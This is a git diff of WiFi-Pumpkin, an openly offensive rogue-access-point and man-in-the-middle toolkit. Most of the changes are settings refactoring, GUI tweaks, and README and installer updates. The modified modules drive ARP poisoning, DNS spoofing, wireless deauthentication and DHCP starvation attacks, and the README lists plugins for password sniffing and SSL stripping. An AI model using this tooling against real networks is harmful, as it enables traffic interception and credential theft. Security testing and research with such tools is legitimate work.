self.leaseTime_def.setText(self.FSettings.Settings.get_setting('dhcpdefault','leasetimeDef')) + self.leaseTime_Max.setText(self.FSettings.Settings.get_setting('dhcpdefault','leasetimeMax')) + self.netmask.setText(self.FSettings.Settings.get_setting('dhcpdefault','netmask')) + self.range_dhcp.setText(self.FSettings.Settings.get_setting('dhcpdefault','range')) + self.route.setText(self.FSettings.Settings.get_setting('dhcpdefault','router')) + self.subnet.setText(self.FSettings.Settings.get_setting('dhcpdefault','subnet')) + self.broadcast.setText(self.FSettings.Settings.get_setting('dhcpdefault','broadcast')) def savesettingsDHCP(self): - self.FSettings.xmlSettings('leasetimeDef', 'value',str(self.leaseTime_def.text())) - self.FSettings.xmlSettings('leasetimeMax', 'value',str(self.leaseTime_Max.text())) - self.FSettings.xmlSettings('netmask', 'value', str(self.netmask.text())) - self.FSettings.xmlSettings('range', 'value',str(self.range_dhcp.text())) - self.FSettings.xmlSettings('router', 'value',str(self.route.text())) - self.FSettings.xmlSettings('subnet', 'value',str(self.subnet.text())) - self.FSettings.xmlSettings('broadcast', 'value',str(self.broadcast.text())) + self.FSettings.Settings.set_setting('dhcp','leasetimeDef',str(self.leaseTime_def.text())) + self.FSettings.Settings.set_setting('dhcp','leasetimeMax',str(self.leaseTime_Max.text())) + self.FSettings.Settings.set_setting('dhcp','netmask',str(self.netmask.text())) + self.FSettings.Settings.set_setting('dhcp','range',str(self.range_dhcp.text())) + self.FSettings.Settings.set_setting('dhcp','router',str(self.route.text())) + self.FSettings.Settings.set_setting('dhcp','subnet',str(self.subnet.text())) + self.FSettings.Settings.set_setting('dhcp','broadcast',str(self.broadcast.text())) self.btnSave.setEnabled(False) self.sendMensage.emit('settings DHCP saved with success...') self.btnSave.setEnabled(True) diff --git a/Core/widgets/docks/DockMonitor.py b/Core/widgets/docks/DockMonitor.py new file mode 100644 index 0000000..618670a --- /dev/null +++ b/Core/widgets/docks/DockMonitor.py @@ -0,0 +1,49 @@ +from os import path +from pygtail import Pygtail +from PyQt4.QtGui import QListWidget,QMessageBox +from PyQt4.QtCore import SIGNAL,QTimer,QThread + +class ThreadLogger(QThread): + def __init__(self,logger_path=str): + QThread.__init__(self) + self.logger_path = logger_path + self.started = False + def run(self): + print 'Starting Thread:' + self.objectName() + self.started =True + while self.started: + for line in Pygtail(self.logger_path): + try: + self.emit(SIGNAL('Activated( QString )'),line.rstrip().split(' : ')[1]) + except IndexError: + pass + + def stop(self): + self.started = False + +class dockAreaAPI(QListWidget): + def __init__(self, parent=None,info={}): + super(dockAreaAPI, self).__init__(parent) + self.setMinimumWidth(580) + self.logger = info + self.startThread = False + self.processThread = None + + def RunThread(self): + self.startThread = True + if self.logger != {}: + self.processThread = ThreadLogger(self.logger['path']) + self.connect(self.processThread,SIGNAL('Activated ( QString ) '), self.writeModeData) + self.processThread.setObjectName(self.logger['thread_name']) + if path.exists(self.logger['path']): + self.processThread.start() + if not self.processThread.isRunning(): + QMessageBox.warning(self,'error in read logger ',self.logger['error']) + + def writeModeData(self,data): + self.addItem(data) + self.scrollToBottom() + + def stopProcess(self): + if self.processThread != None: + self.processThread.stop() \ No newline at end of file diff --git a/Core/widgets/docks/__init__.py b/Core/widgets/docks/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Modules/poisoners/ArpPosion.py b/Modules/poisoners/ArpPosion.py index 1916ec0..fac55fb 100644 --- a/Modules/poisoners/ArpPosion.py +++ b/Modules/poisoners/ArpPosion.py @@ -2,6 +2,7 @@ from os import chdir,getcwd, devnull from multiprocessing import Process,Manager from Modules.spreads.UpdateFake import frm_update_attack +from Core.packets.network import ThARP_posion,ThSpoofAttack from Core.loaders.Stealth.PackagesUI import * threadloading = {'template':[],'posion':[]} @@ -50,7 +51,7 @@ def closeEvent(self, event): for i in self.ThreadDirc['Arp_posion']: i.stop(),i.join() except:pass - if self.configure.xmlSettings('statusAP','value',None,False) == 'False': + if not self.configure.Settings.get_setting('accesspoint','statusAP'): Refactor.set_ip_forward(0) self.deleteLater() return @@ -74,19 +75,22 @@ def GUI(self): self.tables = QTableWidget(5,3) self.tables.setRowCount(100) self.tables.setFixedHeight(200) + self.tables.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding) + self.tables.horizontalHeader().setStretchLastSection(True) self.tables.setSelectionBehavior(QAbstractItemView.SelectRows) self.tables.setEditTriggers(QAbstractItemView.NoEditTriggers) self.tables.clicked.connect(self.list_clicked_scan) self.tables.resizeColumnsToContents() self.tables.resizeRowsToContents() self.tables.horizontalHeader().resizeSection(1,120) - self.tables.horizontalHeader().resizeSection(0,145) - self.tables.horizontalHeader().resizeSection(2,158) + self.tables.horizontalHeader().resizeSection(0,135) + self.tables.horizontalHeader().resizeSection(2,150) self.tables.verticalHeader().setVisible(False) Headers = [] for key in reversed(self.data.keys()): Headers.append(key) self.tables.setHorizontalHeaderLabels(Headers) + self.tables.verticalHeader().setDefaultSectionSize(23) self.txt_target = QLineEdit(self) self.txt_gateway = QLineEdit(self) @@ -173,7 +177,7 @@ def ConfigureEdits(self): self.StatusMonitor(False,'stas_scan') self.StatusMonitor(False,'stas_arp') self.StatusMonitor(False,'stas_phishing') - scan_range = self.configure.xmlSettings('scan','rangeIP',None,False) + scan_range = self.configure.Settings.get_setting('settings','scanner_rangeIP') self.ip_range.setText(scan_range) if x['gateway'] != None: self.txt_gateway.setText(x['gateway']) @@ -209,7 +213,7 @@ def discoveryIface(self): iface = str(self.ComboIface.currentText()) mac = Refactor.getHwAddr(iface) ip = Refactor.get_Ipaddr(iface) - if self.configure.xmlSettings('statusAP','value',None,False) == 'True': + if self.configure.Settings.get_setting('accesspoint','statusAP',format=bool): self.txt_gateway.setText('10.0.0.1') self.txt_mac.setText(mac) self.txt_redirect.setText(ip) @@ -262,7 +266,7 @@ def Start_Attack(self): if (len(self.txt_target.text()) and len(self.txt_gateway.text())) and len(self.txt_mac.text()) != 0: if len(self.txt_redirect.text()) != 0: self.StatusMonitor(True,'stas_arp') - if self.configure.xmlSettings('statusAP','value',None,False) == 'False': + if not self.configure.Settings.get_setting('accesspoint','statusAP'): Refactor.set_ip_forward(1) arp_gateway = ThARP_posion(str(self.txt_gateway.text()),str(self.txt_target.text()), get_if_hwaddr(str(self.ComboIface.currentText()))) @@ -280,8 +284,10 @@ def Start_Attack(self): redirectPackets = ThSpoofAttack('', str(self.ComboIface.currentText()),'udp port 53',True,str(self.txt_redirect.text())) self.connect(redirectPackets,SIGNAL('Activated ( QString ) '), self.StopArpAttack) - if self.configure.xmlSettings('statusAP','value',None,False) == 'False':redirectPackets.redirection() - else:redirectPackets.redirectionAP() + if not self.configure.Settings.get_setting('accesspoint','statusAP'): + redirectPackets.redirection() + else: + redirectPackets.redirectionAP() redirectPackets.setObjectName('Packets Spoof') self.ThreadDirc['Arp_posion'].append(redirectPackets) redirectPackets.start() @@ -290,7 +296,7 @@ def Start_Attack(self): def Start_scan(self): self.StatusMonitor(True,'stas_scan') - threadscan_check = self.configure.xmlSettings('advanced','Function_scan',None,False) + threadscan_check = self.configure.Settings.get_setting('settings','Function_scan') self.tables.clear() self.data = {'IPaddress':[], 'Hostname':[], 'MacAddress':[]} if threadscan_check == 'Nmap': @@ -332,8 +338,10 @@ def working(self,ip,lista): result=Popen(['ping', '-c', '1', '-n', '-W', '1', ip], stdout=limbo, stderr=limbo).wait() if not result: - print('online',ip) - lista[ip] = ip + '|' + self.module_network.get_mac(ip) + if Refactor.get_mac(ip) == None: + lista[ip] = ip + '|' + 'not found' + else: + lista[ip] = ip + '|' + Refactor.get_mac(ip) def scanner_network(self,gateway): scan = '' diff --git a/Modules/poisoners/DnsSpoof.py b/Modules/poisoners/DnsSpoof.py index fc25188..823e53a 100644 --- a/Modules/poisoners/DnsSpoof.py +++ b/Modules/poisoners/DnsSpoof.py @@ -6,6 +6,7 @@ from socket import gethostbyname from Core.loaders.Stealth.PackagesUI import * from Modules.spreads.UpdateFake import frm_update_attack +from Core.packets.network import ThARP_posion,ThSpoofAttack threadloading = {'template':[],'dnsspoof':[],'arps':[]} """ @@ -52,7 +53,7 @@ def closeEvent(self, event): for i in threadloading['template']: i.stop(),i.join() threadloading['template'] = [] - if self.configure.xmlSettings('statusAP','value',None,False) == 'False': + if not self.configure.Settings.get_setting('accesspoint','statusAP'): Refactor.set_ip_forward(0) self.deleteLater() return @@ -78,19 +79,22 @@ def GUI(self): self.tables = QTableWidget(5,3) self.tables.setRowCount(100) self.tables.setFixedHeight(200) + self.tables.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding) + self.tables.horizontalHeader().setStretchLastSection(True) self.tables.setSelectionBehavior(QAbstractItemView.SelectRows) self.tables.setEditTriggers(QAbstractItemView.NoEditTriggers) self.tables.clicked.connect(self.list_clicked_scan) self.tables.resizeColumnsToContents() self.tables.resizeRowsToContents() self.tables.horizontalHeader().resizeSection(1,120) - self.tables.horizontalHeader().resizeSection(0,145) - self.tables.horizontalHeader().resizeSection(2,158) + self.tables.horizontalHeader().resizeSection(0,135) + self.tables.horizontalHeader().resizeSection(2,150) self.tables.verticalHeader().setVisible(False) Headers = [] for key in reversed(self.data.keys()): Headers.append(key) self.tables.setHorizontalHeaderLabels(Headers) + self.tables.verticalHeader().setDefaultSectionSize(23) self.ip_range = QLineEdit(self) self.txt_gateway = QLineEdit(self) @@ -120,7 +124,7 @@ def GUI(self): self.StatusMonitor(False,'stas_scan') self.StatusMonitor(False,'dns_spoof') self.StatusMonitor(False,'stas_phishing') - scan_range = self.configure.xmlSettings('scan','rangeIP',None,False) + scan_range = self.configure.Settings.get_setting('settings','scanner_rangeIP') self.ip_range.setText(scan_range) # button conf @@ -248,7 +252,7 @@ def listItemclicked(self,pos): def discoveryIface(self): iface = str(self.ComboIface.currentText()) - if self.configure.xmlSettings('statusAP','value',None,False) == 'True': + if self.configure.Settings.get_setting('accesspoint','statusAP',format=bool): self.txt_gateway.setText('10.0.0.1') ip = Refactor.get_Ipaddr(iface) self.txt_redirect.setText(ip) @@ -332,7 +336,7 @@ def Start_Attack(self): self.domains.append(str(self.myListDns.item(index).text())) for i in self.domains: self.targets[i.split(':')[0]] = (i.split(':')[1]).replace('\n','') - if self.configure.xmlSettings('statusAP','value',None,False) == 'False': + if not self.configure.Settings.get_setting('accesspoint','statusAP'): Refactor.set_ip_forward(1) arp_gateway = ThARP_posion(str(self.txt_target.text()),str(self.txt_gateway.text()), @@ -350,7 +354,7 @@ def Start_Attack(self): if self.myListDns.count() == 0:self.targets = '' thr = ThSpoofAttack(self.targets, str(self.ComboIface.currentText()),'udp port 53',True,str(self.txt_redirect.text())) - if self.configure.xmlSettings('statusAP','value',None,False) == 'False':thr.redirection() + if not self.configure.Settings.get_setting('accesspoint','statusAP'):thr.redirection() else:thr.redirectionAP() self.connect(thr,SIGNAL('Activated ( QString ) '), self.StopArpAttack) thr.setObjectName('Dns Spoof') @@ -361,7 +365,7 @@ def Start_Attack(self): def Start_scan(self): self.StatusMonitor(True,'stas_scan') - threadscan_check = self.configure.xmlSettings('advanced','Function_scan',None,False) + threadscan_check = self.configure.Settings.get_setting('settings','Function_scan') self.tables.clear() self.data = {'IPaddress':[], 'Hostname':[], 'MacAddress':[]} if threadscan_check == 'Nmap': @@ -403,8 +407,10 @@ def working(self,ip,lista): result=Popen(['ping', '-c', '1', '-n', '-W', '1', ip], stdout=limbo, stderr=limbo).wait() if not result: - print('online',ip) - lista[ip] = ip + '|' + self.module_network.get_mac(ip) + if Refactor.get_mac(ip) == None: + lista[ip] = ip + '|' + 'not found' + else: + lista[ip] = ip + '|' + Refactor.get_mac(ip) def scanner_network(self,gateway): scan = '' diff --git a/Modules/servers/PhishingManager.py b/Modules/servers/PhishingManager.py index 87aed90..7f63abe 100644 --- a/Modules/servers/PhishingManager.py +++ b/Modules/servers/PhishingManager.py @@ -1,11 +1,12 @@ -from PyQt4.QtGui import * from PyQt4.QtCore import * +from PyQt4.QtGui import * from os import popen,chdir,getcwd from urllib2 import urlopen,URLError from BeautifulSoup import BeautifulSoup -from Core.config.Settings import frm_Settings -from Core.Utils import Beef_Hook_url,ThreadPhishingServer -from Modules.servers.ServerHTTP import ServerThreadHTTP,ServerHandler +from Core.Utils import ThreadPhishingServer +from Core.utility.extract import Beef_Hook_url +from Core.utility.settings import frm_Settings +from Modules.servers.ServerHTTP import ServerThreadHTTP """ Description: This program is a module for wifi-pumpkin.py file which includes functionality diff --git a/Modules/systems/dhcpStarvation.py b/Modules/systems/dhcpStarvation.py index 9496a41..0e3c1e7 100644 --- a/Modules/systems/dhcpStarvation.py +++ b/Modules/systems/dhcpStarvation.py @@ -1,4 +1,4 @@ -from Core.Utils import ThreadAttackStar +from Core.packets.network import ThreadAttackStar from Core.loaders.Stealth.PackagesUI import * """ Description: diff --git a/Modules/wireless/ProbeRequest.py b/Modules/wireless/ProbeRequest.py index 708ec76..7d2a291 100644 --- a/Modules/wireless/ProbeRequest.py +++ b/Modules/wireless/ProbeRequest.py @@ -1,5 +1,6 @@ from re import search -from Core.Utils import set_monitor_mode,ThreadProbeScan +from Core.Utils import set_monitor_mode +from Core.packets.wireless import ThreadProbeScan from Core.loaders.Stealth.PackagesUI import * """ @@ -29,7 +30,6 @@ def __init__(self, parent=None): self.Main = QVBoxLayout() self.Requests = [] self.data = {'Devices':[],'MacAddress': [], 'SSIDs':[]} - self.interface = str(self.configure.xmlSettings("interface", "monitor_mode", None, False)) self.loadtheme(self.configure.XmlThemeSelected()) self.setWindowTitle("Probe Request wifi Monitor") self.setWindowIcon(QIcon('Icons/icon.ico')) @@ -45,6 +45,8 @@ def setupGUI(self): self.tables = QTableWidget(5,3) self.tables.setRowCount(100) self.tables.setFixedHeight(300) + self.tables.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding) + self.tables.horizontalHeader().setStretchLastSection(True) self.tables.setSelectionBehavior(QAbstractItemView.SelectRows) self.tables.setEditTriggers(QAbstractItemView.NoEditTriggers) self.tables.resizeColumnsToContents() @@ -57,6 +59,7 @@ def setupGUI(self): for key in reversed(self.data.keys()): Headers.append(key) self.tables.setHorizontalHeaderLabels(Headers) + self.tables.verticalHeader().setDefaultSectionSize(23) self.btn_scan = QPushButton('Start') self.btn_stop = QPushButton('Stop') diff --git a/Modules/wireless/WirelessDeauth.py b/Modules/wireless/WirelessDeauth.py index fdd346e..6fef971 100644 --- a/Modules/wireless/WirelessDeauth.py +++ b/Modules/wireless/WirelessDeauth.py @@ -1,8 +1,8 @@ import threading from os import popen,path,makedirs from re import search -from Core.Utils import ProcessThread,airdump_start,\ -get_network_scan,set_monitor_mode,ThreadDeauth,ThreadScannerAP +from Core.packets.wireless import ThreadDeauth,ThreadScannerAP +from Core.utility.extract import airdump_start,get_network_scan from Core.loaders.Stealth.PackagesUI import * threadloading = {'deauth':[],'mdk3':[]} @@ -33,7 +33,6 @@ def __init__(self, parent=None): self.Main = QVBoxLayout() self.setWindowTitle("Deauth Attack wireless Route") self.setWindowIcon(QIcon('Icons/icon.ico')) - self.interface = self.configure.xmlSettings("interface", "monitor_mode", None, False) self.ApsCaptured = {} self.data = {'Bssid':[], 'Essid':[], 'Channel':[]} self.loadtheme(self.configure.XmlThemeSelected()) @@ -74,6 +73,8 @@ def window_qt(self): self.tables.setFixedWidth(350) self.tables.setRowCount(100) self.tables.setFixedHeight(250) + self.tables.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding) + self.tables.horizontalHeader().setStretchLastSection(True) self.tables.setSelectionBehavior(QAbstractItemView.SelectRows) self.tables.setEditTriggers(QAbstractItemView.NoEditTriggers) self.tables.clicked.connect(self.select_target) @@ -81,12 +82,13 @@ def window_qt(self): self.tables.resizeRowsToContents() self.tables.horizontalHeader().resizeSection(1,120) self.tables.horizontalHeader().resizeSection(0,60) - self.tables.horizontalHeader().resizeSection(2,158) + self.tables.horizontalHeader().resizeSection(2,150) self.tables.verticalHeader().setVisible(False) Headers = [] for n, key in enumerate(self.data.keys()): Headers.append(key) self.tables.setHorizontalHeaderLabels(Headers) + self.tables.verticalHeader().setDefaultSectionSize(23) self.linetarget = QLineEdit(self) @@ -121,7 +123,7 @@ def window_qt(self): #grid options self.Grid = QGridLayout() - self.options_scan = self.configure.xmlSettings("scanner_AP", "select", None, False) + self.options_scan = self.configure.Settings.get_setting('settings','scanner_AP') self.Grid.addWidget(self.get_placa,0,1) self.Grid.addWidget(self.btn_scan_start,0,2) @@ -206,7 +208,6 @@ def SettingsScan(self): QMessageBox.information(self, "Network Adapter", 'Network Adapter Not found try again.') else: self.interface = str(set_monitor_mode(self.get_placa.currentText()).setEnable()) - self.configure.xmlSettings("interface", "monitor_mode", self.interface, False) self.btn_scan_stop.setEnabled(True) self.btn_scan_start.setEnabled(False) if self.interface != None: @@ -239,8 +240,8 @@ def attack_deauth(self): QMessageBox.information(self, 'Target Error', 'Please, first select Target for attack') else: self.bssid = str(self.linetarget.text()) - self.deauth_check = self.configure.xmlSettings('deauth', 'select',None,False) - self.args = str(self.configure.xmlSettings('mdk3','arguments', None, False)) + self.deauth_check = self.configure.Settings.get_setting('settings','deauth') + self.args = str(self.configure.Settings.get_setting('settings','mdk3')) self.interface = str(set_monitor_mode(self.get_placa.currentText()).setEnable()) if self.deauth_check == 'packets_scapy': self.AttackStatus(True) diff --git a/Plugins/dns2proxy/dnslog.txt b/Plugins/dns2proxy/dnslog.txt index 8b13789..96806a1 100644 --- a/Plugins/dns2proxy/dnslog.txt +++ b/Plugins/dns2proxy/dnslog.txt @@ -1 +1,2 @@ +2016-04-25 11:25:26 Client IP: 127.0.0.1 request is www.google.com. IN A diff --git a/README.md b/README.md index 06cdebc..67cbf4b 100644 --- a/README.md +++ b/README.md @@ -10,7 +10,7 @@ WiFi-Pumpkin is a security tool that provides the Rogue access point to Man-In-T ### Installation Kali 2.0/WifiSlax 4.11.1/Parrot 2.0.5 - +- Python 2.7 ```sh git clone https://github.com/P0cL4bs/WiFi-Pumpkin.git cd WiFi-Pumpkin @@ -35,12 +35,12 @@ refer to the wiki for [Installation](https://github.com/P0cL4bs/WiFi-Pumpkin/wik * DNS Spoof ### Plugins -- [net-creds](https://github.com/DanMcInerney/net-creds) - Sniff passwords and hashes from an interface or pcap file -- [dns2proxy](https://github.com/LeonardoNve/dns2proxy) - This tools offer a different features for post-explotation once you change the DNS server to a Victim. -- [sslstrip2](https://github.com/LeonardoNve/sslstrip2) - Sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping -attacks based version fork @LeonardoNve/@xtr4nge. -- [sergio-proxy](https://github.com/supernothing/sergio-proxy) - Sergio Proxy (a Super Effective Recorder of Gathered Inputs and Outputs) is an -HTTP proxy that was written in Python for the Twisted framework. +| Plugin | Description | +|:-----------|:------------| +[net-creds](https://github.com/DanMcInerney/net-creds) | Sniff passwords and hashes from an interface or pcap file +[dns2proxy](https://github.com/LeonardoNve/dns2proxy) | This tools offer a different features for post-explotation once you change the DNS server to a Victim. +[sslstrip2](https://github.com/LeonardoNve/sslstrip2) | Sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks based version fork @LeonardoNve/@xtr4nge. +[sergio-proxy](https://github.com/supernothing/sergio-proxy) | Sergio Proxy (a Super Effective Recorder of Gathered Inputs and Outputs) is an HTTP proxy that was written in Python for the Twisted framework. ### Transparent Proxy @@ -82,5 +82,30 @@ class blurpage(PluginProxy): ``` ### Screenshots -![Tool Home](https://dl.dropboxusercontent.com/u/97321327/evil/evil7.3.png) -![Tool demo](https://dl.dropboxusercontent.com/u/97321327/evil/demo7.3.png) \ No newline at end of file +[Screenshot](https://github.com/P0cL4bs/WiFi-Pumpkin/wiki/Screenshots) on the wiki + +### FAQ +> I can't install it + +have a look at the [Installation](https://github.com/P0cL4bs/WiFi-Pumpkin/wiki/Installation) + +> I have this message warning [Error Network Card](https://github.com/P0cL4bs/WiFi-Pumpkin/issues/14) + +You system not have support run Wifi-Pumpkin with Wireless connection + +> hi , is it work on X Wireless Adapters ? + +I don't know, check this [page](https://wireless.wiki.kernel.org/welcome) + +> I can't install package X + +Try installing the package via pip, Google is your friend! + +> It Windows supported? + +No, It will never be + +### Contact Us +Whether you want to report a [bug](https://github.com/P0cL4bs/WiFi-Pumpkin/issues/new), send a patch or give some suggestions on this package, drop us or open [pull requests](https://github.com/P0cL4bs/WiFi-Pumpkin/pulls) + +Happy MITM! \ No newline at end of file diff --git a/installer.sh b/installer.sh index 6bf67b9..35cb59c 100755 --- a/installer.sh +++ b/installer.sh @@ -16,7 +16,7 @@ func_Banner(){ echo ' =============================' echo " |$bldblu wifi-pumpkin Installer$txtrst|" echo ' =============================' - echo " Version: $(tput setaf 5)0.7.3 $txtrst" + echo " Version: $(tput setaf 5)0.7.5 $txtrst" echo "usage: ./installer.sh --install | --uninstall" } @@ -49,6 +49,7 @@ func_install(){ fi apt-get update apt-get install -y python-qt4 python-scapy php5-cli hostapd rfkill + apt-get install -y python-dev pip install -r requirements.txt File="/etc/apt/sources.list" if grep -q '#Wifi Pumpkin' $File;then @@ -117,7 +118,7 @@ func_install(){ echo "[$green✔$txtrst] wifi-pumpkin installed with success" echo "[$green✔$txtrst] execute $bldred wifi-pumpkin$txtrst in terminal" fi - echo "[$green+$txtrst]$color_y P0cL4bs Team CopyRight 2015$txtrst" + echo "[$green+$txtrst]$color_y P0cL4bs Team CopyRight 2015-2016$txtrst" echo "[$green+$txtrst] Enjoy" exit 0 } diff --git a/requirements.txt b/requirements.txt index 7241f20..8372eee 100644 --- a/requirements.txt +++ b/requirements.txt @@ -6,4 +6,7 @@ netaddr config dnspython isc_dhcp_leases -netifaces \ No newline at end of file +netifaces +pcapy +configparser +pygtail \ No newline at end of file diff --git a/wifi-pumpkin.py b/wifi-pumpkin.py index a2a9208..9a6ebbb 100755 --- a/wifi-pumpkin.py +++ b/wifi-pumpkin.py @@ -1,11 +1,14 @@ #!/usr/bin/env python2.7 -from sys import argv,exit +from sys import argv,exit,version_info +if version_info.major != 2: + print ('WiFi-Pumpkin need Python 2 :(') + exit(-1) + from os import getuid -from PyQt4.QtGui import QApplication,QIcon from Core.Main import Initialize -from Core.loaders.checker.Privilege import frm_privelege -from Core.loaders.checker.check_depen import check_dependencies -from Core.Utils import Refactor,ExecRootApp +from Core.Utils import ExecRootApp +from PyQt4.QtGui import QApplication +from Core.loaders.checker.check_depen import check_dep_pumpkin,RED,ENDC """ Author : Marcos Nesster - mh4root@gmail.com PocL4bs Team @@ -32,11 +35,8 @@ if __name__ == '__main__': - check_dependencies() - main = QApplication(argv) + check_dep_pumpkin() if not getuid() == 0: - priv = frm_privelege() - priv.setWindowIcon(QIcon('Icons/icon.ico')) - priv.show(),main.exec_() - exit(Refactor.threadRoot(priv.Editpassword.text())) + exit('{}[!] WiFi-Pumpkin must be run as root{}'.format(RED,ENDC)) + main = QApplication(argv) ExecRootApp(Initialize,main)